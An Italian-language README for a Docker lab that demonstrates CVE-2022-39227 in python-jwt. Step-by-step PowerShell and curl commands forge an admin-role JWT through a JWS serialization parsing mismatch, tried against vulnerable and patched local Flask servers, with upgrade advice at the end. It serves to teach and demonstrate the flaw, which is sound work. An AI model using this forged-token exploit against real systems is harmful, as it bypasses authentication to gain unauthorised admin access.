
Questo progetto dimostra la vulnerabilità CVE-2022-39227 in un ambiente di laboratorio locale controllato. Questa vulnerabilità riguarda la libreria python-jwt (versioni < 3.3.4) e consente a un attaccante di forgiare i claim JWT senza conoscere la chiave segreta, sfruttando un'incoerenza di parsing (JWS Serialization) tra python-jwt e la sua dipendenza jwcrypto.
Il progetto avvia due applicazioni Flask identiche tramite Docker, separate solo dalle versioni delle dipendenze:
python-jwt==3.3.3)python-jwt==3.3.4)Entrambe le applicazioni implementano un semplice sistema di controllo degli accessi basato sui ruoli (RBAC). Un utente normale (alice) può effettuare il login e ricevere un JWT. Solo gli utenti con il ruolo admin nel proprio claim JWT possono accedere all'endpoint /admin.
1. Avviare l'Ambiente Assicurarsi che Docker Desktop sia in esecuzione, quindi eseguire:
docker-compose up -d --build
Questo avvierà in background sia il server vulnerabile che quello corretto.
Per riprodurre l'attacco, eseguirai manualmente richieste HTTP grezze e manipolazioni del payload in PowerShell. Questo dimostra che la vulnerabilità risiede nel protocollo e nella logica di parsing della libreria, non in uno strumento esterno.
Passo 1: Effettuare il login e ottenere un token valido
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token
Passo 2: Dividere il JWT nei suoi componenti
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]
Passo 3: Decodificare il Payload, modificare il ruolo e ri-codificare in Base64Url
# Decodifica del payload originale
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))
# Cambia il ruolo da "user" a "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'
# Codifica il payload modificato di nuovo in Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')
Passo 4: Costruire il Formato di Serializzazione JWS dannoso
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
-f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'
Passo 5: Eseguire l'Attacco contro entrambi i server
# Attacco al Server Vulnerabile (Porta 5000) -> SUCCESSO
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"
# Attacco al Server Corretto (Porta 5001) -> BLOCCATO (Formato token non valido)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"
Aggiornare python-jwt alla versione 3.3.4 o successiva. Inoltre, le applicazioni dovrebbero imporre una validazione rigorosa della firma e verificare l'integrità del payload direttamente tramite il livello logico dell'applicazione quando possibile.
Questo progetto è stato condotto rigorosamente in un ambiente di laboratorio locale e controllato, a scopo educativo. Nessun sistema di terze parti, servizio pubblico o account utente reale è stato preso di mira.